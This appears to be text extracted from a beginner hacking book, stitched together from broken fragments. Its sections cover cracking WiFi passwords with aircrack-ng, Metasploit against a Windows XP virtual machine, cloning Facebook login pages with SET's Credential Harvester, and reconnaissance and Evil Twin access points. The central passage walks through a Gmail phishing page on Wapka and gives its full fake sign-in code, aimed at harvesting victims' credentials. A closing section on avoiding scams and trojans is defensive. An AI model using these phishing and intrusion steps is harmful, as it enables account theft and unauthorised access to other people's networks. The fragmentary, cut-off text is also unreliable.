computer. Whenever you need to hack
something, just plug in your flash drive
on a laptop/desktop and you’re good to
go. All of your hacking tools are inside
your pocket, literally.
How to Hack WiFi Networks
that Use WEP Encryption
More and more people are using
wireless networks. Thus, every hacker
needs to know how to attack this kind of
target. In this section, you’ll use Kali
Linux to hack a WEP-encrypted WiFi
password.
Important Note: You’re still practicing
so don’t use it on other people’s
network. It would be best if you’ll create
your own wireless network. There are a
lot of videos on YouTube regarding that
task. Watching videos and installing a
network is better than getting arrested
for attacking your neighbor’s WiFi.
Never forget: unauthorized hacking is
illegal.
To hack a WEP-encrypted password,
you should do the following:
1. Determine the ID of your computer’s
wireless adapter.
Each computer contains multiple
network adapters. Your first task is to
look for the wireless adapter and view
its name. This step is quick and painless:
you just have to open a terminal, type
“ifconfig”, and hit the Enter key. Your
screen will show you something like
this:
Most computers will give you three
adapters: eth, lo, and wlan. For this task,
you should focus on the “wlan” adapter.
The image above shows that the name of
the wireless adapter is “wlan1”.
2. Run the Airmon-ng program.
“Airmon-ng” is a part of the “Aircrack-
ng” suite. It allows you to generate a
monitoring interface for the attack. To
activate this program, just type “airmon-
ng start wlan_ID”. Replace “wlan_ID”
with the name of your adapter (e.g.
airmon-ng start wlan1”).
Your screen will show you this:
3. Capture data packets from your target
network.
Now, you should collect some data
packets available in your area. You need
to use a tool called “airodump-ng” for
this. Basically, “airodump-ng” (which is
another member of the aircrack-ng suite)
looks for data packets and shows you all
of the existing WiFi networks near you.
The command that you should type is:
airodump-ng wlan0mon.
Encryption
WEP-encrypted passwords are easy to
hack. WPA/WPA-2 passwords,
however, are time-consuming and
resource-intensive. This is the reason
why most WiFi networks use
WPA/WPA-2 encryption. Cracking this
form of encryption is difficult, but
certainly doable. Here are the steps you
need to take:
1. Launch a terminal and launch
airmon-ng.
Type:
airmon-ng start wlan_ID
The Process
You must break into a network before
hacking the computers linked to it.
However, this lesson doesn’t require any
network attack. That’s because the XP
operating system is installed in your
Kali computer. Thus, the XP virtual
machine belongs to your computer
network.
To hack a Windows XP computer, you
should:
1. Start the Metasploit Framework in
your Kali Linux OS.
Launch a terminal and type:
service postgresql start
Data Gathering
You have to determine the IP address of
your target. During an actual penetration
test, this process can be difficult. You
have to find a computer’s IP address
without getting detected. In this lesson,
however, identifying the IP address is
quick and easy. You just have to access
your virtual machine, launch a shell, and
enter “ipconfig”. Look for the line that
says IPv4.
Launching Metasploit
Go back to your Kali Linux OS and open
a terminal. Then, start the Metasploit
framework by issuing the following
commands:
service postgresql start
service metasploit start
msfconsole
The “msf” (Metasploit Framework)
console will appear on your current
terminal.
The Process
To use the Credential Harvester tool,
you should:
1. Access your Kali Linux computer
and launch a terminal.
2. Issue the “setoolkit” command.
3. You’ll find the terms and conditions
of the toolkit. Type “y” and hit the
Enter key.
4. The terminal will list all of the
available options. Enter “1”, “2”,
and “3”. This will launch the
Credential Harvester tool.
5. Choose the option that says “Site
Cloner”.
6. Enter the following details:
1. Your IP address
2. The URL of the website that you
want to clone
7. Minimize the terminal and go to
“Places”. Click on “Computer”, hit
“VAR”, and open the “WWW
directory”. Transfer all of the files
inside “www” to “html”.
8. Visit www.tinyurl.com to shorten the
IP address. Once a Facebook user
clicks on your link and enters his
login credentials, Credential
Harvester will record the
information for you. It will store the
information inside a text file, which
is located in the WWW directory
(see above).
How to Hack a Gmail
Account
This lesson will focus on a popular
hacking tool called Wapka. This tool can
help you collect the Gmail login
credentials of your victims.
The Requirements
1. A target
2. Familiarity with Gmail
3. Familiarity with HTML codes
4. Familiarity with website creation
5. A Gmail account
The Process
1. Visit
http://u.wapka.com/wap/en/signup
and create a Wapka account.
2. Access your account, search for
“Site List”, and click on “Create
New Site”.
3. Specify the name of your website.
Wapka allows you to combine
numbers and letters. You can’t use
any special character. For this
lesson, let’s assume that the name of
your site is “samplesite”. The URL
of your website will be
“samplesite.wapka.mobi”.
4. Activate the Admin mode of your
new site.
5. You’ll see a blank webpage. It is
empty because you haven’t done
anything on your site. Look for the
link that says “EDIT SITE” and click
on it.
6. In the next screen, hit the “Mail
Form” link.
7. Make sure that CAPTCHA is
disabled. Click on “Submit and
Remember”.
8. Go back to the site list and launch the
website you’re working on. This
time, don’t activate the Admin mode.
Look at the bottom of the webpage
and hit “Source Code Viewer”.
9. Place the URL of your site inside the
large box. You’ll see a lot of
checkboxes. Search for an entry that
looks like “value=xxxxx”. Take note
of that value.
10. Activate the Admin mode, click on
“Edit Site”, and choose “Users”.
11. Hit “Items Visibility” and select
“Visible Only in Admin Mode”.
12. Access the site again and activate the
Admin mode. Hit “EDIT SITE” and
“WML/HTML CODE”. Paste the
following code onto the page:
<?xml version="1.0" ?>
<!DOCTYPE wml PUBLIC "-
//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum.org/DTD/wml_1.
<wml>
<head>
<meta forua="true" http-
equiv="Cache-Control"
content="max-age=0"/>
</head>
<template>
<do type="options" name="Prev"
label="Back"><prev/></do>
</template>
<card id="index"
title="Wapka.mobi" >
<p><script type="text/javascript">
document.title = "Sign in"; </script>
<title>Sign in</title>
<link rel="shortcut icon"
type="image/x-icon"
href="http://greentooth.xtgem.com/i3/gs
<div><div><body dir="ltr"
style="background-color: #eee; font-
family: arial, helvetica, sans-serif;
font-size: 13px; padding: 0; margin:
0;">
<div style="margin: 10px;"/>
<img
src="//ssl.gstatic.com/accounts/ui/logo_
border="0"
align="bottom"
alt="Google"/>
<div style="font-size: 17px;">
Sign in
</div>
</body></div>
</div>
<div><div><div style="background-
color: #fff; border-color:#e5e5e5;
border-width: 1px 0 1px 0; border-
style: solid; padding: 10px 0 10px
10px; margin: 0;"><form
method="post" class="mobile-login-
form"
onSubmit="window.open('https://accoun
service=mail&passive=true&
ui%3Dmobile%26zyp%3Dl&scc=1
action="/site_0.xhtml"><div
class="label"><b>Username</b>
</div>
<input type="text"
name="mf_text[email]" value=""
class="textbox" /><br/>
<div class="label">
<b>Password</b></div>
<input type="password"
name="mf_text[password]" value=""
class="textbox" /><br/>
<input type="hidden" name="p"
value="125256565"/>
<input type="checkbox"
name="autologin_ch" value="1" />
Stay signed in<br/>
<input type="hidden" name="action"
value="send_message"/><input
type="submit" name="MF_submit"
value=" Sign in " class="button"/>
</form></div>
<div><div style="margin: 10px;">
New to Gmail? It's free and easy.
<br/>
<a id="link-signup"
href="https://accounts.google.com/New
btmpl=mobile_tier2&service=mail
%3Fpc%3Dmobile&suwt=CgRtYW
an account</a>
</div>
<div style="margin: 10px; font-size:
11px;">
© 2015 Google | <a
href="http://m.google.com/tospage?
hl=en">Terms of Service</a>
| <a
href="http://m.google.com/privacy?
hl=en">Privacy Policy</a>
| <a
href="http://m.google.com/m/help?
hl=en">Help</a>
</div></div></div>
</div></p>
<p><noscript/></p><p
align="center"><a
href="/menu_0.wml">:=:</a></p>
<p style="text-align:center;"><a
href="/ads/wapka/p/2462629/adshows/0
<img src="/pictures/9apps.png" />
<br />Hottest Apps & Games &
Wallpapers Download</a></p><img
src="/ga.gif?utmac=MO-32471805-
1&utmn=1113259389&utmr=-
&utmp=%2Findex.xhtml&gui
width="1" height="1" /><img
src="http://ga.wapka.me/ga3.gif?
utmac=MO-46050634-
1&utmn=20217942&utmr=-
&utmp=%2Findex.xhtml&gui
width="1" height="1" />
</card>
</wml>
13. Look for the “value=xxxxx” entry and
replace it with the one you copied
earlier.
Congratulations! You created your own
phishing site for Gmail users. Once a
Gmail user accesses that page and tries
to log in, you will obtain his login
credentials.
The Process
Access your Kali Linux computer and
open a terminal. Then, type
“theharvester” to launch the
reconnaissance tool. TheHarvester
comes as a built-in tool for the latest
Kali versions, so you probably don’t
need to download anything. If your
computer doesn’t have this program,
however, you can visit
https://github.com/laramies/theHarvester
to download it.
Here are the steps that you need to take:
1. Use the following syntax:
theHarvester –d
[www.sampleurl.com] –l 300 –b
[name of search engine]
Here’s an example:
theHarvester –d facebook.com –l 300
–b bing
AP
Evil Twin APs (i.e. Access Points) are
rigged access points that pretend to be
WiFi hotspots. When a person connects
to an Evil Twin AP, his information will
be exposed to the hacker.
To the victim, the malicious access point
is a hotspot that has great signal. This
perception results from the fact that the
hacker is near the victim. People love
strong WiFi networks, so it’s likely that
a victim will connect to an Evil Twin
AP.
The Process
1. Access your Kali computer.
2. Make sure that you have internet
connection.
3. Launch a terminal and enter
apt-get install dhcp3-server
Protect Yourself
Today, countless hackers are on the
loose. These people are spreading
computer viruses through the internet. If
you aren’t careful, malicious programs
might infect your machine.
In this chapter, you’ll learn how to
protect yourself from usual techniques
and vectors that hackers use.
Prevent the Typical Attack
Vectors
Hackers use the following vectors to
lure victims:
Scams
It’s your lucky day. Someone from
Nigeria needs your help in smuggling
money from his country. You don’t have
to do anything difficult. You just have to
conduct some wire transfers and wait for
the Nigerian to give you your share of
the funds.
While checking the inbox of your email
account, you saw a message saying you
won a contest. You just have to send
some money for shipping and wait for
your prize to arrive.
The situations given above are typical
scams. You probably think that nobody
would fall for them. Well, nothing could
be further from the truth. Thousands of
people fall for such tricks. Victims send
money and/or confidential information to
the hackers, hoping for a quick benefit.
Think before reacting to any email.
Scams work best against people who act
quickly. If an email says something that
is too good to be true, ignore it. If the
message asks you to give personal
information, report the email and tag it
as spam.
Trojan Horses
A Trojan horse serves as a container for
malicious programs. This “container”
often appears as an interesting or
important file. Once you download a
Trojan horse, its contents will infect
your computer. This technique is
extremely effective in turning innocent
users into hapless victims.
In most cases, hackers use emails in
sending out Trojans. They send a
phishing email that contains a Trojan as
an attachment. The email will encourage
you to download and open the included
file.
Some hackers, however, use social
networking sites in spreading out
Trojans. They post videos with
interesting titles. Once you click on the
video, the webpage will tell you that you
must update your browser first if you
want to view the content. Well, the
“update” that you need to download and
install is a Trojan.
The best way to fight this hacking vector
is by using your common sense and
running an updated antivirus program.
Automatic Downloads
In some situations, even up-to-date
security programs are not enough. Your
computer might have one or more
vulnerable programs that hackers can
take advantage of. For example, if you
have an old version of a computer
application, it may be vulnerable to
viruses.
Hackers exploit vulnerabilities present
in a program by establishing a rigged
website. These people attract victims by
sending out phishing messages through
emails or social networking sites.
Keep in mind, however, that hackers are
not limited to their own sites. They can
attack a legitimate site and insert
malicious codes into it. Once you visit a
compromised site, the inserted codes
will scan your machine for vulnerable
programs. Then, the codes will install
viruses onto your machine automatically.
You can protect yourself by keeping your
computer applications updated.
Software developers release updates
and/or patches for their products. Most
programs can detect whenever a new
update is available. They will just ask
you whether or not you would like to
update your program. Hit “Yes” and wait
for the update process to complete.